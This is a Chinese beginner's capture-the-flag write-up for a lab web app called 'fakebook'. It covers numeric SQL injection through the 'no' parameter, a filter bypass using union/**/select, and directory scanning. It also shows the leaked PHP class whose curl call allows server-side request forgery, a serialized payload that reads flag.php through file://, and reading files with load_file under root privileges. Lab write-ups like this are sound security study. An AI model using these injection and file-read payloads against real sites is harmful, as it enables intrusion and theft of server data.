本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助


打开靶机,看到有login登录和join注册两个选项,下面一栏是展示用户的,
先看看login界面,测试有没有sql注入漏洞,


看来没有,
再看看join界面,先注册一个用户,


然后回到刚刚的页面就好显示我们的用户信息,

但是到这里,先点击admin去查看用户界面,结果转不进去,就连重新进靶机的请求也超时(感觉被做局了),
后面卡死在这里,看网页源代码和Burp抓包都没有用,然后去看了别的师傅的wp,就是要进用户界面,才能发现一个sql注入点,
那我直接不注册用户,直接请求用户界面,

因为没注册,所以信息栏就是提示和报错(不过不影响),
看到url发现是GET请求传入no参数,推测是数字型注入,

反序列化漏洞

爆字段数



字段数(列数)为4,

爆数据库


发现被过滤,经过测试发现是union select整天被过滤,使用union/**/select进行绕过,
字段2的回显会显示在页面上,

字段2的回显会显示在页面上,

数据库名为fakebook

爆表名


表名为users

爆列名


no相当于id, username,passwd就是我们注册的数据,我们现在要爆一下data数据,

我这里显示是空白的,因为我没有注册用户,正常会回显一段序列化数据,推测为反序列化漏洞,网页源码找不到信息,需要dirsear扫描网页,
这里扫描频率要被限制,不然会504报错,

发现flag.php和robots.txt文件,
通过url访问,flag.php文件没内容显示在网页上(可能没有输出flag或者被注释了),查看robots.txt文件,


下载到user.php.bar文件,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();//创建一个新的 cURL 会话资源

curl_setopt($ch, CURLOPT_URL, $url);//CURLOPT_URL: 设置要请求的 URL 地址
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//CURLOPT_RETURNTRANSFER:设为 1/true 表示将响应作为字符串返回
$output = curl_exec($ch);//curl_exec() 执行 cURL 会话,返回结果存储在 $output 中(漏洞点,会执行blog字段中的命令)
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);//curl_getinfo() 获取最后一次传输的相关信息,CURLINFO_HTTP_CODE 获取 HTTP 响应状态码
if($httpCode == 404) { //
return 404;
}
curl_close($ch);

return $output;
}
//获取blog内容,并传到get方法中
public function getBlogContents ()
{
return $this->get($this->blog);
}
//验证博客 URL 格式是否合法
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

需要在blog字段(也就是字段4)传入构造的序列化payload,

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";//
}
$user = new UserInfo();
$payload = serialize($user);

echo $payload;
?>



查看源码,

点击base64加密后的字符串即可,

获得flag

用户权限过高,

如果细心的你把用户权限爆一下,就会发现注册的用户是root权限,

当权限是root那么我们就可以使用函数load_file直接读取服务器的文件(load_file里的必须时绝对路径,不能是相对路径)


直接快速获得flag